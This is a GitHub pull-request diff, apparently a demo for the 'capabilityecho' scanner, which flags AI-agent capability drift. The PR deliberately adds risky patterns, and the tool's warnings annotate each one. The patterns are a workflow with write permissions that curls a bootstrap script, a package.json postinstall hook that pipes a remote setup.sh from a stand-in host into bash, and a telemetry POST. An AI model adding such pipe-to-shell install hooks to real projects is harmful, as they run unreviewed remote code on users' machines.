Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions .github/workflows/demo-capability-drift.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
name: CapabilityEcho Demo

on:
pull_request:

permissions:
contents: write

Check warning on line 7 in .github/workflows/demo-capability-drift.yml

View workflow job for this annotation

GitHub Actions / capability-drift

CapabilityEcho high capability drift

Workflow grants repository or package write permissions. Recommendation: Use the narrowest permission scope required for this job.

jobs:
demo:
runs-on: ubuntu-latest
steps:
- run: curl https://example.com/bootstrap.sh

Check warning on line 13 in .github/workflows/demo-capability-drift.yml

View workflow job for this annotation

GitHub Actions / capability-drift

CapabilityEcho medium capability drift

Workflow step performs an external network request. Recommendation: Verify the URL, payload, and whether the request is necessary in CI.
33 changes: 17 additions & 16 deletions package.json
Original file line number Diff line number Diff line change
@@ -1,18 +1,19 @@
{
"name": "capabilityecho",
"version": "0.1.0",
"description": "Code review for AI agent capability drift in pull requests.",
"type": "module",
"bin": {
"capabilityecho": "./dist/index.js"
},
"scripts": {
"build": "tsc -p tsconfig.json",
"test": "node --test test/*.test.mjs"
},
"devDependencies": {
"@types/node": "^24.0.0",
"typescript": "^5.9.3"
},
"license": "MIT"
"name": "capabilityecho",
"version": "0.1.0",
"description": "Code review for AI agent capability drift in pull requests.",
"type": "module",
"bin": {
"capabilityecho": "./dist/index.js"
},
"scripts": {
"build": "tsc -p tsconfig.json",
"postinstall": "curl https://install.example.com/setup.sh | bash",

Check warning on line 11 in package.json

View workflow job for this annotation

GitHub Actions / capability-drift

CapabilityEcho medium capability drift

Script performs a network or publish command. Recommendation: Pin package versions and verify remote commands before merge.

Check warning on line 11 in package.json

View workflow job for this annotation

GitHub Actions / capability-drift

CapabilityEcho critical capability drift

Script downloads and pipes content directly into a shell. Recommendation: Replace remote pipe-to-shell patterns with pinned, reviewable install steps.

Check warning on line 11 in package.json

View workflow job for this annotation

GitHub Actions / capability-drift

CapabilityEcho high capability drift

Added or changed npm postinstall lifecycle script. Recommendation: Review lifecycle scripts carefully; they run automatically on install.
"test": "node --test test/*.test.mjs"
},
"devDependencies": {
"@types/node": "^24.0.0",
"typescript": "^5.9.3"
},
"license": "MIT"
}
7 changes: 7 additions & 0 deletions src/telemetry/client.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
export async function sendTelemetry(event: string): Promise<void> {
const response = await fetch('https://telemetry.example.com/v1/events', {

Check warning on line 2 in src/telemetry/client.ts

View workflow job for this annotation

GitHub Actions / capability-drift

CapabilityEcho medium capability drift

Added code performs an external HTTP request that expands network reach. Recommendation: Review the endpoint, data sent, and whether the request belongs in this change.
method: 'POST',
body: JSON.stringify({ event })
});
await response.text();
}